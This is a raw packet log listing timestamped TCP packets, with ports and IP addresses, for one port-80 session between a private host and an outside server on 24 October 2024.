Oct 24, 2024 11:02:27.246079922 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.246092081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.246114016 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.246135950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.246143103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.246151924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.246166945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.246179104 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.246182919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.246195078 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.246210098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.246221066 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.246227026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.246236086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.246243000 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.246252060 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.246259928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.246268988 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.246284008 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.246299982 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.246325016 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.246344090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.246359110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.246375084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.246381044 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.246391058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.246407032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.246419907 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.246423006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.246434927 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.246506929 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.246545076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.246562004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.246577978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.246582985 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.246592999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.246609926 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.246629953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.246634960 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.246646881 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.246682882 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.246745110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.246761084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.246778011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.246804953 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.246823072 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.247013092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.247030020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.247044086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.247056961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.247066975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.247075081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.247092009 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.247097969 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.247107029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.247118950 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.247131109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.247143030 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.247168064 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.247653961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.247670889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.247684956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.247697115 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.247699976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.247710943 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.247715950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.247730970 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.247736931 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.247747898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.247762918 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.247772932 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.247788906 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.247790098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.247803926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.247812033 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.247827053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.247843981 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.250287056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.250324965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.250328064 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.250340939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.250361919 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.250370979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.250377893 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.250386953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.250407934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.250423908 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.250430107 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.250452042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.250458002 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.250467062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.250482082 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.250495911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.250509024 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.250510931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.250526905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.250526905 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.250544071 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.250551939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.250567913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.250571966 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.250585079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.250590086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.250607967 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.250611067 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.250622988 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.250627041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.250647068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.250652075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.250663042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.250669003 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.250686884 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.250701904 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.322899103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.322926998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.322942972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.322957993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.322977066 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.322990894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.322988987 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.323049068 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.361867905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.361886978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.361902952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.361960888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.361999035 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.365231991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.365268946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.365283012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.365323067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.365345955 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.365355968 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.365370035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.365386009 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.365391970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.365401983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.365406990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.365428925 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.365453005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.365482092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.365497112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.365510941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.365525961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.365530968 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.365559101 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.365571976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.365582943 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.365586996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.365602970 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.365621090 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.365645885 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.365647078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.365663052 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.365677118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.365686893 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.365691900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.365705013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.365726948 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.365742922 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.365747929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.365782022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.365788937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.365797043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.365816116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.365830898 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.365871906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.365888119 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.365936995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.365945101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.365962029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.365991116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.365995884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.366012096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.366029024 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.366054058 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.366091967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.366106987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.366125107 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.366141081 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.366185904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.366200924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.366234064 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.366276026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.366292000 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.366318941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.366324902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.366334915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.366352081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.366353989 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.366383076 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.366424084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.366439104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.366455078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.366458893 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.366471052 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.366487980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.366501093 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.366566896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.366589069 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.366605043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.366619110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.366621971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.366635084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.366651058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.366655111 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.366671085 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.366700888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.423216105 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.429377079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.708540916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.708602905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.708636999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.708652973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.708667040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.708681107 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.708683968 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.708699942 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.708719015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.708722115 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.708735943 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.708754063 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.708760977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.708776951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.708781958 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.708791971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.708798885 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.708807945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.708823919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.708827972 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.708838940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.708853006 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.708853960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.708879948 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.708905935 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.708945036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.708970070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.708985090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.708995104 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.709000111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.709008932 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.709023952 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.709041119 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.709052086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.709086895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.709141016 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.709155083 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.709171057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.709198952 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.709209919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.709223032 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.709223986 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.709240913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.709249020 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.709265947 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.709285021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.709285021 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.709299088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.709314108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.709328890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.709328890 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.709357023 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.709372044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.709388018 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.709389925 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.709415913 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.709445000 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.709445000 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.709445953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.709460974 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.709475994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.709498882 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.709523916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.709549904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.709564924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.709579945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.709594965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.709602118 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.709661007 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.828062057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.828094006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.828119040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.828144073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.828161001 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.828218937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.828224897 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.828236103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.828264952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.828265905 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.828288078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.828305960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.828311920 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.828311920 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.828331947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.828339100 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.828346968 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.828361034 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.828363895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.828370094 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.828388929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.828407049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.828414917 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.828422070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.828425884 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.828438044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.828453064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.828469992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.828480959 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.828480959 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.828495026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.828509092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.828522921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.828536034 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.828540087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.828555107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.828561068 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.828572035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.828574896 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.828588963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.828596115 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.828614950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.828620911 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.828646898 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.828646898 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.828658104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.828671932 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.828680038 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.828721046 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.828736067 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.828752995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.828777075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.828803062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.828898907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.828927040 CEST	80	49704	185.215.113.37	192.168.2.5
